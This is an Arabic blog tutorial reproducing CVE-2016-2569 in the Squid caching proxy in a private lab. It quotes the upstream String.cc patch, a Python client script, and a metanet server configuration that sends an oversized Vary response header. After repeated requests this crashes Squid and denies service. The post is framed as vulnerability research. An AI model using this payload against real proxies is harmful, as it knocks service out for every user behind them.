
Squid 3.x قبل الإصدار 3.5.15 و4.x قبل الإصدار 4.0.7 لا يقوم بإلحاق البيانات بشكل صحيح إلى كائنات String، مما يسمح للخوادم البعيدة بالتسبب في رفض الخدمة (فشل تأكيدي وخروج البرنامج الخفي) من خلال سلسلة طويلة، كما هو موضح من خلال رأس HTTP Vary مُعدّل.
مرحباً،
شكراً لقراءة أول تدوينة لي. سنتناول اليوم إنشاء استغلال لأحد الأدوات مفتوحة المصدر وهو خادم الوكيل Squid للتخزين المؤقت.
Squid هو وكيل تخزين مؤقت للويب يدعم HTTP وHTTPS وFTP والمزيد. يقلل عرض النطاق الترددي ويحسن أوقات الاستجابة عن طريق التخزين المؤقت وإعادة استخدام صفحات الويب المطلوبة بشكل متكرر. يتمتع Squid بعناصر تحكم واسعة في الوصول ويُعد مسرعًا ممتازًا للخوادم. يعمل على معظم أنظمة التشغيل المتاحة، بما في ذلك Windows، وهو مرخص بموجب GNU GPL. يمكنك معرفة المزيد عن وكيل Squid للتخزين المؤقت على موقعه الرسمي [http://www.squid-cache.org/]
أولاً آمل أنك تعرف ما هو CVE :p على أي حال، تعني "الثغرات الأمنية والتعرضات الشائعة" (مزيد من المعلومات عن CVE على [https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures])
يمكننا رؤية المعلومات التالية حول CVE-2016-2569
الوصف: لا يقوم Squid الإصدار 3.x قبل 3.5.15 و4.x قبل 4.0.7 بإلحاق البيانات بشكل صحيح بكائنات String، مما يسمح للخوادم البعيدة بالتسبب في رفض الخدمة (فشل افتراضي وخروج الخفي) عبر سلسلة طويلة، كما هو موضح بواسطة رأس Vary HTTP مخصص. أبلغ ماتياس فيشر من Open Systems AG عن هذه الثغرة الأمنية.
نظرًا لأن هذا مشروع مفتوح المصدر، يمكننا رؤية التصحيح المستخدم للتخفيف من هذه الثغرة الأمنية. بناءً على وصف الثغرة المقدم، يمكننا تأكيد أن هذه محاولة لفيضان من نوع ما. سنواصل التعمق في المصدر للتحقيق أكثر.
التصحيح [http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-13991.patch] يؤكد إجراء تغييرات على الملفات التالية
دعنا نتعمق أكثر....
يبدو الفرق في كود src/String.cc مثيرًا للاهتمام حيث يقوم بإنشاء افتراضية للمتغير aSize
=== modified file 'src/String.cc'
--- src/String.cc 2016-01-01 00:14:27 +0000
+++ src/String.cc 2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
String::setBuffer(char *aBuf, String::size_type aSize)
{
assert(undefined());
- assert(aSize < 65536);
+ assert(aSize <= SizeMax_);
buf_ = aBuf;
size_ = aSize;
}
@@ -171,7 +171,7 @@
} else {
// إنشاء سلسلة مؤقتة واستيعابها لاحقًا.
String snew;
- assert(len_ + len < 65536); // وإلا فسيحدث فيضان لـ snew.len_ أدناه
+ assert(canGrowBy(len)); // وإلا فقد يحدث فيضان لـ snew.len_ أدناه
snew.len_ = len_ + len;
snew.allocBuffer(snew.len_ + 1);
بناءً على فرق الكود أعلاه، يمكننا محاولة استغلال الثغرة الأمنية بتقديم قيمة رأس Vary أكبر من 65536 بايت.
لنبدأ بإنشاء إعداد استغلالنا
سنقوم بإعداد وكيل Squid للتخزين المؤقت على نظام لينكس (سنستخدم Xubuntu 16.04 LTS). يقوم وكيل Squid للتخزين المؤقت بتخزين استجابات خادم HTTP metanet مؤقتًا وإرسال الاستجابات للعميل من الذاكرة المخبأة بدلاً من الاستعلام عن الخادم لطلب مشابه.
سيكون هيكل الشبكة لدينا مشابهًا لما هو موضح أدناه (عذرًا على الطريقة القديمة في رسم الهيكل لكنني ما زلت أحب VIM بشدة)
------------------------- ------------------------- -------------------------
| | | | | |
| metanet | ----> | Squid | -----> | Client |
| 192.168.56.102 | | Caching Proxy | | 192.168.56.1 |
| HTTP Server | <---- | TCP Port 3128 | <---- | Python Requests |
| | | | | |
------------------------- ------------------------- -------------------------
سنرسل استعلامات قياسية إلى خادم HTTP nginx عبر وكيل Squid ونتحقق من السجلات لنتأكد من أن الإعداد يعمل كما هو متوقع.
لتسهيل الأمور، سنستخدم النص البرمجي التالي بالبايثون لإرسال الطلب إلى الخادم. شيء مهم يجب ملاحظته هنا هو أن الرؤوس المستخدمة في الطلب تسمح لخادم الوكيل بتخزين الاستجابة مؤقتًا. إذا لم تكن قيم رؤوس طلب HTTP "If-Modified-Since" و"max-age" و"cache-control" صحيحة، فإن طلب العميل سيجبر خادم الوكيل على الاستعلام عن الخادم للحصول على استجابات. هذا سيهدف تمامًا الغرض من خادم الوكيل.
Request.py
#!/usr/bin/env python
import requests, os
proxy = {'http': '192.168.56.102:3128'}
headers = {'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 'Accept': '*', 'max-age': '20000', 'cache-control': 'public', 'connetction': 'keep-alive', 'user-agent': 'requests2'}
if len(os.sys.argv) != 2:
print "Usage: req [URI]"
os.sys.exit()
print '\nhttp://192.168.56.102:8080/{}'.format(os.sys.argv[1])
r = requests.get('http://192.168.56.102:8080/{}'.format(os.sys.argv[1]), proxies=proxy, headers=headers)
print "\nHTTP Stat Code --> ", r.status_code
print
print "HTTP Response Headers \n",
for h in r.headers:
print h, ": ", r.headers[h]
print
if 'Vary' in r.headers:
print "Vary: ", r.headers['Vary'], "\n"
يمكننا رؤية كود البايثون أعلاه يضبط الرؤوس والوكيل ويستخدم مكتبة الطلبات في بايثون لإرسال الطلب إلى خادم HTTP الموجود على 192.168.56.102. بمجرد حصولنا على الاستجابة من الخادم أو الوكيل، نقوم بطباعة الرؤوس. نحن مهتمون بشكل خاص باستجابة رأس Vary المرسلة من خادم HTTP أو خادم الوكيل.
التالي في إعدادنا هو إعداد metanet (خادم HTTP). سنستخدم metanet لأنه سهل إرسال رؤوس استجابة HTTP مختلفة بسهولة. كبديل، يمكننا استخدام SimpleHTTPServer الذي يسمح لنا أيضًا بإرسال استجابات HTTP مخصصة.
نحتاج إلى إعداد ملف تكوين metanet بطريقة تجعله يستجيب برأس Vary مع الرأس الضروري الذي يسمح لوكيل Squid للتخزين المؤقت بتخزين الاستجابات المماثلة في الذاكرة.
سيكون تكوين metanet مشابهًا لهذا
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:NULL\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
لنجربها لرؤية أن إعدادنا يعمل بالفعل!

بناءً على تكويننا، كل شيء يبدو جيدًا. ووت ووت!
لنحاول استغلال الثغرة الأمنية (تمرير مخزن مؤقت طويل من السلسلة مع رأس استجابة HTTP Vary). هذا استغلال بسيط للفيضان. من فرق الكود، نرى أن هناك افتراضية تحدد أن قيمة a_size لا يجب أن تتجاوز 65536. نقدم طول رأس Vary ليكون شيئًا بهذا الطول.
نظريًا، ليس لدينا 65536 رأس استجابة HTTP قياسي (سيكون ذلك فوضى 😛)؛ لكن يمكننا تكوين رؤوس وهمية. الشيء المهم في هذه الحالة هو طول السلسلة الممررة لرأس Vary.
لنستخدم بايثون لإنشاء سلسلة طويلة مثل python -c 'print "a,b,c,d,e,f," *6000'. سنستخدم هذا الناتج ونعدل تكوين metanet كما يلي ونختبر استغلالنا
سيكون تكوين metanet مشابهًا لهذا
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:`a,b,c,d,e,f,`<مكرر 6000 مرة>"\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
عند إرسال طلبنا الأول للوكيل، يبدو كل شيء طبيعيًا. لم يقم الوكيل بتخزين الاستجابات مؤقتًا؛ ربما بسبب القيم التي قدمناها في حقل رأس Vary. يتم أخذ الرؤوس المحددة في رأس Vary في الاعتبار عند حساب مجموع md5 للتحقق من المحتويات المخزنة مؤقتًا.
دعنا نستمر في إرسال طلبات متعددة للوكيل. هناك خطأ ما: الوكيل لا يستجيب لطلباتنا حيث نحصل على "Proxy Error" من مكتبة الطلبات. دعنا نستمر في إرسال الطلبات على أي حال.
للأسف. توقف الوكيل بسبب الإخفاقات المتكررة. لن يتمكن أي جهاز يتصل بالخادم عبر الوكيل من الوصول إلى أي شيء. هذا رفض خدمات لجميع مستخدمي الوكيل.
